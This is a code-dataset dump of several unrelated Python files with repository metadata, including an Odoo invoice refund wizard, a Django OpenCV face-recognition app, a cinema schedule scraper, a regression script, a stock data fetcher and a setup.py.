QCoreApplication.setAttribute(Qt.AA_ShareOpenGLContexts)
app = QApplication(sys.argv)
data = np.loadtxt(sys.argv[1])
# print(data)
dialog = FitGrainsResultsDialog(data)
dialog.ui.resize(1200, 800)
dialog.finished.connect(app.quit)
dialog.show()
app.exec_()
| [
"patrick.avery@kitware.com"
] | patrick.avery@kitware.com |
e2d5b66c94892e76afd0149cd0fb6494aeeb3d47 | 45a1d0307397f490518be29c26a4f784f58271bf | /model/account_invoice_refund.py | 69e1b053ac6d62f79d0b567ef41f8d3211007f2b | [] | no_license | itgeopanama/purchase_invoice_stock | a982b64b3fde69e204511131d1115223a72484d1 | dcb3d4d43904db54f99b1e35a8d942d2d6b59412 | refs/heads/master | 2020-08-19T07:29:56.385754 | 2019-10-17T22:10:08 | 2019-10-17T22:10:08 | 215,894,033 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 4,805 | py | # -*- coding: utf-8 -*-
from odoo import models, fields, api, _
from odoo.tools.safe_eval import safe_eval
from odoo.exceptions import UserError
import logging
_logger = logging.getLogger(__name__)
class AccountInvoiceRefund(models.TransientModel):
"""Refunds invoice"""
_inherit = "account.invoice.refund"
@api.multi
def compute_refund(self, mode='refund'):
inv_obj = self.env['account.invoice']
inv_tax_obj = self.env['account.invoice.tax']
inv_line_obj = self.env['account.invoice.line']
context = dict(self._context or {})
xml_id = False
for form in self:
created_inv = []
date = False
description = False
for inv in inv_obj.browse(context.get('active_ids')):
if inv.state in ['draft', 'proforma2', 'cancel']:
raise UserError(_('Cannot refund draft/proforma/cancelled invoice.'))
if inv.reconciled and mode in ('cancel', 'modify'):
raise UserError(_('Cannot refund invoice which is already reconciled, invoice should be unreconciled first. You can only refund this invoice.'))
if inv.create_stock:
#cancel the tied delivery order.
done_pick = inv.picking_ids.filtered(lambda r: r.state == 'done')
if done_pick:
for pick in done_pick:
return_p = self.env['stock.return.picking'].with_context({'active_id': pick.id}).create({})
return_p.product_return_moves.unlink()
for p in pick.move_lines:
pp = self.env['stock.return.picking.line'].create({
'product_id': p.product_id.id,
'quantity': p.product_uom_qty,
'wizard_id': return_p.id,
'move_id': p.id,
})
return_p._create_returns()
else:
inv.picking_ids.action_cancel()
date = form.date or False
description = form.description or inv.name
refund = inv.refund(form.date_invoice, date, description, inv.journal_id.id)
picking_type_id = self.env['stock.picking.type'].search([('warehouse_id','=',inv.warehouse_id.id),('name','in',['Receipts','Ontvangsten','Réceptions'])],limit=1)
refund.write({
'create_stock': inv.create_stock,
'warehouse_id': inv.warehouse_id.id,
'picking_type_id': picking_type_id.id,
'picking_policy': inv.picking_policy
})
created_inv.append(refund.id)
if mode in ('cancel', 'modify'):
movelines = inv.move_id.line_ids
to_reconcile_ids = {}
to_reconcile_lines = self.env['account.move.line']
for line in movelines:
if line.account_id.id == inv.account_id.id:
to_reconcile_lines += line
to_reconcile_ids.setdefault(line.account_id.id, []).append(line.id)
if line.reconciled:
line.remove_move_reconcile()
refund.action_invoice_open()
for tmpline in refund.move_id.line_ids:
if tmpline.account_id.id == inv.account_id.id:
to_reconcile_lines += tmpline
to_reconcile_lines.filtered(lambda l: l.reconciled == False).reconcile()
if mode == 'modify':
invoice = inv.read(inv_obj._get_refund_modify_read_fields())
invoice = invoice[0]
del invoice['id']
invoice_lines = inv_line_obj.browse(invoice['invoice_line_ids'])
invoice_lines = inv_obj.with_context(mode='modify')._refund_cleanup_lines(invoice_lines)
tax_lines = inv_tax_obj.browse(invoice['tax_line_ids'])
tax_lines = inv_obj._refund_cleanup_lines(tax_lines)
invoice.update({
'type': inv.type,
'date_invoice': form.date_invoice,
'state': 'draft',
'number': False,
'invoice_line_ids': invoice_lines,
'tax_line_ids': tax_lines,
'date': date,
'origin': inv.origin,
'create_stock': inv.create_stock,
'fiscal_position_id': inv.fiscal_position_id.id,
'warehouse_id': inv.warehouse_id.id,
'picking_type_id': picking_type_id.id,
'picking_policy': inv.picking_policy
})
for field in inv_obj._get_refund_common_fields():
if inv_obj._fields[field].type == 'many2one':
invoice[field] = invoice[field] and invoice[field][0]
else:
invoice[field] = invoice[field] or False
inv_refund = inv_obj.create(invoice)
if inv_refund.payment_term_id.id:
inv_refund._onchange_payment_term_date_invoice()
created_inv.append(inv_refund.id)
xml_id = (inv.type in ['out_refund', 'out_invoice']) and 'action_invoice_tree1' or \
(inv.type in ['in_refund', 'in_invoice']) and 'action_invoice_tree2'
# Put the reason in the chatter
subject = _("Invoice refund")
body = description
refund.message_post(body=body, subject=subject)
if xml_id:
result = self.env.ref('account.%s' % (xml_id)).read()[0]
invoice_domain = safe_eval(result['domain'])
invoice_domain.append(('id', 'in', created_inv))
result['domain'] = invoice_domain
return result
return True | [
"itgeopanama@gmail.com"
] | itgeopanama@gmail.com |
5fc43c9082ea816d3d55ac01ea3a1c7826af6d1b | 0031a7a821eca49726ec79f8799edb659e57e1d9 | /faceRecon/views.py | 307be68c52eae15c2538c8c3179129716bab46fb | [
"Apache-2.0"
] | permissive | papandas/django-facial-recognition | 8ec18638385a8c77224679a7ca2cf3fe7a58a906 | c621738ad9b5f158fd8214911eb7d255737e67d1 | refs/heads/master | 2021-02-14T03:20:59.364929 | 2020-03-04T23:20:53 | 2020-03-04T23:20:53 | 244,762,130 | 4 | 3 | null | null | null | null | UTF-8 | Python | false | false | 6,383 | py | from django.shortcuts import render, redirect
from django.conf import settings
from django.contrib import messages
from django.contrib.auth.models import User
from .forms import UserSelection
import cv2
import numpy as np
import os
from PIL import Image
BASE_DIR = getattr(settings, 'BASE_DIR')
def index(request):
context = {'forms': UserSelection }
return render(request, 'index.html', context)
def create_dataset(request):
if request.method == "POST":
face_id = int(request.POST['selected_user'])
#print("Face ID->", face_id, type(face_id))
cam = cv2.VideoCapture(0)
cam.set(3, 640) # set video width
cam.set(4, 480) # set video height
face_detector = cv2.CascadeClassifier(BASE_DIR + '/ml/haarcascade_frontalface_default.xml') # For each person, enter one numeric face id
print("[INFO] Initializing face capture. Look the camera and wait ...") # Initialize individual sampling face count
count = 0
while (True):
ret, img = cam.read()
# img = cv2.flip(img, -1) # flip video image vertically
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = face_detector.detectMultiScale(gray, 1.3, 5)
# Skip the process if multiple faces detected:
if len(faces) == 1:
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x + w, y + h), (255, 0, 0), 2)
count += 1
# Save the captured image into the datasets folder
cv2.imwrite(BASE_DIR+"/ml/dataset/User." + str(face_id) + '.' +
str(count) + ".jpg", gray[y:y + h, x:x + w])
cv2.waitKey(250)
cv2.imshow('Face', img)
k = cv2.waitKey(1) & 0xff # Press 'ESC' for exiting video
if k == 27:
break
elif count >= 30: # Take 30 face sample and stop video
break # Do a bit of cleanup
print(count)
else:
print("\n multiple faces detected")
print("\n [INFO] Exiting Program and cleanup stuff")
cam.release()
cv2.destroyAllWindows()
messages.success(request, 'Face successfully registered.')
else:
print("Its a GET method.")
return redirect('/')
def detect(request):
faceDetect = cv2.CascadeClassifier(BASE_DIR + '/ml/haarcascade_frontalface_default.xml')
cam = cv2.VideoCapture(0)
# creating recognizer
rec = cv2.face.LBPHFaceRecognizer_create();
# loading the training data
rec.read(BASE_DIR + '/ml/recognizer/trainer.yml')
getId = 0
font = cv2.FONT_HERSHEY_SIMPLEX
userId = 0
while (True):
ret, img = cam.read()
gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)
faces = faceDetect.detectMultiScale(gray, 1.3, 5)
for (x, y, w, h) in faces:
cv2.rectangle(img, (x, y), (x + w, y + h), (0, 255, 0), 2)
getId, conf = rec.predict(gray[y:y + h, x:x + w]) # This will predict the id of the face
print(getId, conf)
confidence = " {0}%".format(round(100 - conf))
# print conf;
if conf < 35:
try:
user = User.objects.get(id=getId)
except User.DoesNotExist:
pass
print("User Name", user.username)
userId = getId
if user.username:
cv2.putText(img, user.username, (x+5, y+h-10), font, 1, (0, 255, 0), 2)
else:
cv2.putText(img, "Detected", (x, y + h), font, 1, (0, 255, 0), 2)
else:
cv2.putText(img, "Unknown", (x, y + h), font, 1, (0, 0, 255), 2)
cv2.putText(img, str(confidence), (x + 5, y - 5), font, 1, (255, 255, 0), 1)
# Printing that number below the face
# @Prams cam image, id, location,font style, color, stroke
cv2.imshow("Face", img)
if (cv2.waitKey(1) == ord('q')):
break
#elif (userId != 0):
# cv2.waitKey(1000)
# cam.release()
# cv2.destroyAllWindows()
# return redirect('/records/details/' + str(userId))
cam.release()
cv2.destroyAllWindows()
return redirect('/')
def trainer(request):
'''
In trainer.py we have to get all the samples from the dataset folder,
for the trainer to recognize which id number is for which face.
for that we need to extract all the relative path
i.e. dataset/user.1.1.jpg, dataset/user.1.2.jpg, dataset/user.1.3.jpg
for this python has a library called os
'''
# Path for face image database
path = BASE_DIR + '/ml/dataset'
recognizer = cv2.face.LBPHFaceRecognizer_create()
detector = cv2.CascadeClassifier(BASE_DIR+"/ml/haarcascade_frontalface_default.xml"); # function to get the images and label data
def getImagesAndLabels(path):
imagePaths = [os.path.join(path, f) for f in os.listdir(path)]
faceSamples = []
ids = []
for imagePath in imagePaths:
PIL_img = Image.open(imagePath).convert('L') # grayscale
img_numpy = np.array(PIL_img, 'uint8')
id = int(os.path.split(imagePath)[-1].split(".")[1])
#faces = detector.detectMultiScale(img_numpy)
#for (x, y, w, h) in faces:
# faceSamples.append(img_numpy[y:y + h, x:x + w])
# ids.append(id)
faceSamples.append(img_numpy)
ids.append(id)
# print ID
cv2.imshow("training", img_numpy)
cv2.waitKey(10)
return np.array(faceSamples), np.array(ids)
#return faceSamples, ids
print("[INFO] Training faces. It will take a few seconds. Wait ...")
faces, ids = getImagesAndLabels(path)
recognizer.train(faces, ids) # Save the model into trainer/trainer.yml
recognizer.save(BASE_DIR+'/ml/recognizer/trainer.yml') # Print the numer of faces trained and end program
print("[INFO] {0} faces trained. Exiting Program".format(len(np.unique(ids))))
cv2.destroyAllWindows()
messages.success(request, "{0} faces trained successfully".format(len(np.unique(ids))) )
return redirect('/') | [
"hexoindia@gmail.com"
] | hexoindia@gmail.com |
f199fbdffc4654d5ee9f6557657c5eb59a009c8b | 1d0e80b58d3752b859cd0fcff53c87d23bb242be | /django_spravka11/parsing/afisha/afisha-rublic.py | 5d73164051b0ed004886919fb7b442625a985b8c | [] | no_license | ilyutoev/code-sample | 8431b511e30b80907425f0517f6f5701ea58fd28 | f9744a2ae34ff508196983f8b2c7232abd8beaf4 | refs/heads/master | 2021-01-10T10:18:05.840743 | 2017-11-21T18:55:24 | 2017-11-21T18:55:24 | 49,500,031 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,708 | py | from grab import Grab
from purifier.purifier import HTMLPurifier
import datetime
import sys
sys.path
sys.path.append('/home/spravka/projects/spravka11/spravka11/parsing/')
from parsingfunct import clean_text, write_event_to_db, last_date_event
pur = HTMLPurifier({}) #удаляем все теги
def main():
print('\n-- Парсинг афиши Рублика - ' + str(datetime.datetime.now()))
rub = Grab(timeout=20, connect_timeout=20)
date_now = datetime.date.today()
exist_date_event = last_date_event('rublic', date_now.strftime("%Y-%m-%d")) #выгружаем последни даты из базы
for i in range(14): #перебираем даты
event = {}
delta = datetime.timedelta(days=i)
next_date = (date_now + delta)
if exist_date_event.count(next_date.strftime("%Y-%m-%d")):
print(next_date.strftime("%Y-%m-%d") + ' уже есть')
else:
#http://rubliongroup.ru/include/schedule.php?AJAX_SCHEDULE=Y&SES=06-05-2015&THEATRE_ID=5345
next_link = 'http://rubliongroup.ru/include/schedule.php?AJAX_SCHEDULE=Y&SES=' + next_date.strftime("%m-%d-%Y") + '&THEATRE_ID=5345'#формируем ссылку
rub.go(next_link)
allpage = rub.doc.select('//div').html()
allpage = pur.feed(clean_text(allpage, 'normal'))
if allpage.find('Расписание готовится') == -1:
names = rub.doc.select('//table//table//tr/td[@class="name"]')
times = rub.doc.select('//table//table//tr/td[@class="time"]')
prices = rub.doc.select('//table//table//tr/td[@class="price"]')
for time, name, price in zip(times, names, prices):
type_film = None
if name.text().find('3D') != -1:
type_film = '3D'
name = name.text()[:name.text().find('(')].strip()
price = clean_text(price.text(),'normal').replace('/','').strip()
event = {
'name': name,
'date': next_date.strftime("%Y-%m-%d"),
'time': time.text(),
'type_event': 'film',
'type_film': str(type_film),
'price': price,
'source_id': 1, #рублик
'description': '',
'poster': ''
}
print(next_link)
write_event_to_db(event)
if __name__ == '__main__':
#logging.basicConfig(level=logging.DEBUG)
main() | [
"ilyutoev@gmail.com"
] | ilyutoev@gmail.com |
14f852100d7cd55bcde9414f29595cd285bcc461 | f488dfb9b343c66d4117a13e7ce6decb496b4db4 | /trippysour/19_입국심사.py | e16cdcd47eab6735c8ed834baa14f4c1830d8b36 | [] | no_license | toad0475/Algorithm_Greenhorns | 3ea410f5fd84ec28dd5461741bbbdf4345a4ec02 | db700e9416a960fd8aa6124493f8b0adc40505d2 | refs/heads/master | 2021-08-08T21:03:03.376030 | 2020-08-12T04:58:19 | 2020-08-12T04:58:19 | 210,993,106 | 4 | 1 | null | null | null | null | UTF-8 | Python | false | false | 510 | py | import heapq
def solution(n, times):
queue = []
for num in times:
for i in range(1, n):
heapq.heappush(queue, num * i)
print(queue)
for i in range(n):
answer = heapq.heappop(queue)
return answer
# print(solution(6, [7, 10])) #answer = 28, queue = [7, 14, 10, 28, 35, 21, 20, 30, 40, 50]
# 1~3번은 통과 4번~9번 타임 리미트로 실패, for문을 많이 써서 그런듯.. 통합해서 n번 이상 안나오게 처리를 해야할 것 같은데..
| [
"noreply@github.com"
] | toad0475.noreply@github.com |
77c1c0f37b9c767d156e8fbc4a06ee1245653f2c | 914676be23209fc6d4f584f18753f49a7e545eb7 | /main/data_processing.py | 9fff04199fdf5871c072fe540fe7a484ab4daac8 | [] | no_license | U201811950/Homework_1 | ba46125e60717ad5c33586ab4271713a7a824a2f | 0423f87be40b3e882d052447eab613daeeba90d8 | refs/heads/master | 2022-12-02T23:54:44.941271 | 2020-08-15T02:07:23 | 2020-08-15T02:07:23 | 287,181,905 | 0 | 1 | null | 2020-08-14T03:05:18 | 2020-08-13T04:36:37 | Python | UTF-8 | Python | false | false | 1,021 | py | import baostock as bs
import pandas as pd
def get_data_d(stock_name):
####登录系统####
lg = bs.login()
#显示登录返回信息
print('login respond error_code:'+lg.error_code)
print('login respond error_msg:'+lg.error_msg)
#####获取股票历史K线数据####
#详细指标参数
rs = bs.query_history_k_data_plus(stock_name, "date,open,high,low,close,volume,amount,preclose,pctChg", start_date='2020-01-01', end_date='2020-08-10', frequency="d")
print('query_history_k_data_plus respond error_code:'+rs.error_code)
print('query_history_k_data_plus error_msg:'+rs.error_msg)
####打印结果集####
data_list = []
while (rs.error_code == '0') & rs.next():
#获取一条记录，将记录合并在一起
data_list.append(rs.get_row_data())
result = pd.DataFrame(data_list, columns=rs.fields)
####结果输出到csv文件####
result.to_csv("stock_k_data.csv", index=False)
print(result)
####登出系统####
bs.logout
| [
"1300803599@qq.com"
] | 1300803599@qq.com |
f6978843fabe29033f6d93cba0233f6a517a23ff | e8c38be688af983f15066f78dfd8243b7829abd5 | /Machine Learning A-Z Template Folder/Part 2 - Regression/Section 5 - Multiple Linear Regression/mycode.py | 580f0c5867a4f892dd213d60c038d330a9246042 | [] | no_license | pmudaiya/MachineLearning | 34123440c164786032e54402a188bc4465304a6a | 3f533345cd4a8d7f3daac2ffc92090e915f3616b | refs/heads/master | 2021-04-09T16:12:19.015996 | 2020-09-25T04:50:35 | 2020-09-25T04:50:35 | 125,696,914 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,664 | py | # Data Preprocessing Template
# Importing the libraries
import numpy as np
import matplotlib.pyplot as plt
import pandas as pd
# Importing the dataset
dataset = pd.read_csv('50_Startups.csv')
X = dataset.iloc[:, :-1].values
y = dataset.iloc[:, 4].values
#encoding categorical data
from sklearn.preprocessing import LabelEncoder,OneHotEncoder
labelencoder_X=LabelEncoder()
X[:,3]=labelencoder_X.fit_transform(X[:,3]);
onehotencoder=OneHotEncoder(categorical_features= [3])
X= onehotencoder.fit_transform(X).toarray()
#remove ummy variable trap
X=X[:,1:]
# Splitting the dataset into the Training set and Test set
from sklearn.model_selection import train_test_split
X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)
# Creating Linear Regression
from sklearn.linear_model import LinearRegression
regressor=LinearRegression()
regressor.fit(X_train,y_train)
#predicting value
y_pred=regressor.predict(X_test)
#Backward Elimination
import statsmodels.formula.api as sm
X=np.append(arr= np.ones((50,1)).astype(int),values=X, axis=1)
# automatic backward elimination
def backwardelimination(x,sl):
num=len(x[0])
print(num)
for i in range(0,num-1):
regressor_OLS=sm.OLS(endog=y, exog=x).fit()
ma=max(regressor_OLS.pvalues).astype(float)
print(ma)
if ma>sl:
for j in range(0,num-i):
if (regressor_OLS.pvalues[j]==ma):
x=np.delete(x,j,1)
regressor_OLS.summary()
return x
X_opt=X[:,[0,1,2,3,4,5]]
SL=0.05
num=6;
X_modeled=backwardelimination(X_opt,SL)
#left backard eelimination with adjusted R-squared | [
"prakharmudaiya14@gmail.com"
] | prakharmudaiya14@gmail.com |
24bf9f72618117afde92c9629fa66735202f7ee2 | e095d920e32dec10558e352b4eee708d72d30281 | /apps/user_app/models.py | 465878edae2c9485d7a999d17bf0630a927e36f2 | [
"MIT"
] | permissive | pedrolinhares/po-po-modoro | 1938e5809651d4892a962b8495e4f003c2d991ae | d72c2aaf8b7154dd9b5b0165c31bd5befe14b96d | refs/heads/master | 2016-08-05T22:41:25.304124 | 2011-12-18T22:57:47 | 2011-12-18T22:57:47 | 2,831,732 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 294 | py | from django.db import models
from django.contrib.auth.models import User
class UserProfile(models.Model):
user = models.ForeignKey(User, unique=True)
activation_key = models.CharField(max_length=40)
key_expires = models.DateTimeField()
def __unicode__(self):
return self.user.username
| [
"pedrolmota@gmail.com"
] | pedrolmota@gmail.com |
1cedde77ae394ba32a9d083fb8ec824a480ef2c5 | 6974096eaf642a1c3dfbc4567d0f0776621261de | /setup.py | 2eea792aa201ef462b7a712aa3ca336ef13a4f22 | [
"Apache-2.0"
] | permissive | thrrgilag/pantalaimon | 29709e1231db7655e57685babad27094f68afe5c | d388a21b9b1f17b7f52790f79dd571d8e75a4543 | refs/heads/master | 2022-11-13T12:56:14.747072 | 2020-07-02T10:19:59 | 2020-07-02T10:19:59 | 277,380,106 | 0 | 0 | Apache-2.0 | 2020-07-05T20:41:57 | 2020-07-05T20:41:56 | null | UTF-8 | Python | false | false | 1,345 | py | # -*- coding: utf-8 -*-
from setuptools import find_packages, setup
with open("README.md", encoding="utf-8") as f:
long_description = f.read()
setup(
name="pantalaimon",
version="0.6.5",
url="https://github.com/matrix-org/pantalaimon",
author="The Matrix.org Team",
author_email="poljar@termina.org.uk",
description=("A Matrix proxy daemon that adds E2E encryption "
"capabilities."),
long_description=long_description,
long_description_content_type="text/markdown",
license="Apache License, Version 2.0",
packages=find_packages(),
install_requires=[
"attrs >= 19.3.0",
"aiohttp >= 3.6, < 4.0",
"appdirs >= 1.4.4",
"click >= 7.1.2",
"keyring >= 21.2.1",
"logbook >= 1.5.3",
"peewee >= 3.13.1",
"janus >= 0.5",
"cachetools >= 3.0.0"
"prompt_toolkit>2<4",
"typing;python_version<'3.5'",
"matrix-nio[e2e] >= 0.14, < 0.15"
],
extras_require={
"ui": [
"dbus-python <= 1.2",
"PyGObject <= 3.36",
"pydbus <= 0.6",
"notify2 <= 0.3",
]
},
entry_points={
"console_scripts": ["pantalaimon=pantalaimon.main:main",
"panctl=pantalaimon.panctl:main"],
},
zip_safe=False
)
| [
"poljar@termina.org.uk"
] | poljar@termina.org.uk |
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